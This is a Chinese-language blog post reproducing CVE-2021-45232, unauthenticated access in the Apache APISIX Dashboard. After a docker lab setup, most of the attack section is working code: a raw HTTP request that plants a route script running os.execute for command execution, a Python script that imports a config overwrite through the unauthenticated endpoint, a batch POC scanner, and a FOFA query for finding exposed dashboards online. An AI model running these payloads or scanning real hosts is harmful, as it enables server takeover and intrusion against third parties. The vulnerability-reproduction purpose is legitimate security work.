Apache APISIX Dashboard 接口未授權訪問漏洞復現-CVE-2021-45232
1 環境搭建
使用docker搭建環境
https://github.com/apache/apisix-docker
修改docker-compose.yml為2.7即可


默認賬號密碼為admin:admin

1、首先添加一個上游

2、添加一個路由

然后在上游服務選擇,我們新建的上游。


“
2 漏洞復現
獲取/apisix/admin/migrate/export

構造一個Payload

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1Host: ip:9000Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://106.52.5.116:9000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2Connection: closeContent-Length: 248
{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')","upstream_id":"387864007731577539"}
這里有兩個地方需要注意,第一就是URL后面routes/后的數字是來自export中的路由ID。
而下面的upstreamid是來自export中的上游ID,如果填錯會報找不到upstream_id,然后需要把新的覆蓋一下。

某大佬發了一個文章給我,那里要用go寫一個什么CRC的校驗啥的,這里的話其實直接訪問export就可以了,會自動下載一個bak文件。
我們需要直接瀏覽器訪問:
http://ip:9000/apisix/admin/migrate/export,隨后會下載一個名為apisix-config.bak的文件。

然后發送請求覆蓋。
#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File :test.py@Author :UzJu@Date :2021/12/29 12:24 上午 @Email :UzJuer@163.com'''import httpximport requests
target = "http://ip:9000"url = target + "/apisix/admin/migrate/import"files = {'file': open('./apisix-config.bak', 'rb')}r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080") print(r.status_code)print(r.content)
Ps: 上面寫了proxies是因為想把流量給到burp,更好的看清楚請求。

隨后在路由的地方查看一下,發現成功覆蓋了。

看看burp接收到的請求。

然后訪問ip:9080/UzJu

隨后進入docker查看。

3 POC編寫
最開始的POC編寫思路,比較簡單,既然是沒做鑒權,那直接請求export然后判斷返回的東西或者返回值是不是200不就可以了,先不考慮后續利用。
/apisix/admin/migrate/export
/apisix/admin/migrate/import
#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File :CVE-2021-45232_POC.py@Author :UzJu@Date :2021/12/29 12:03 上午 @Email :UzJuer@163.com'''
import requests
class Apache_ApiSix_Poc: def __init__(self, url): self.url = url + "/apisix/admin/migrate/export"
def checkVuln(self): headers = { "Connection": "close" } try: result = requests.get(url=self.url, headers=headers, verify=False) if '{"Consumers":[]' in result.text: print(f"[+]CVE-2021-45232: {self.url}存在漏洞") except: pass
if __name__ == '__main__': with open('./url.txt', 'r') as f: for i in f.read().splitlines(): main = Apache_ApiSix_Poc(i) main.checkVuln()
然后fofa隨便找一些站點,搜索語法為:
title="Apache APISIX Dashboard"
4 免責聲明
本文內容僅用于技術交流,不存在所謂未公開POC,文中未進行打碼處理的,全是已公開的POC或利用方式。
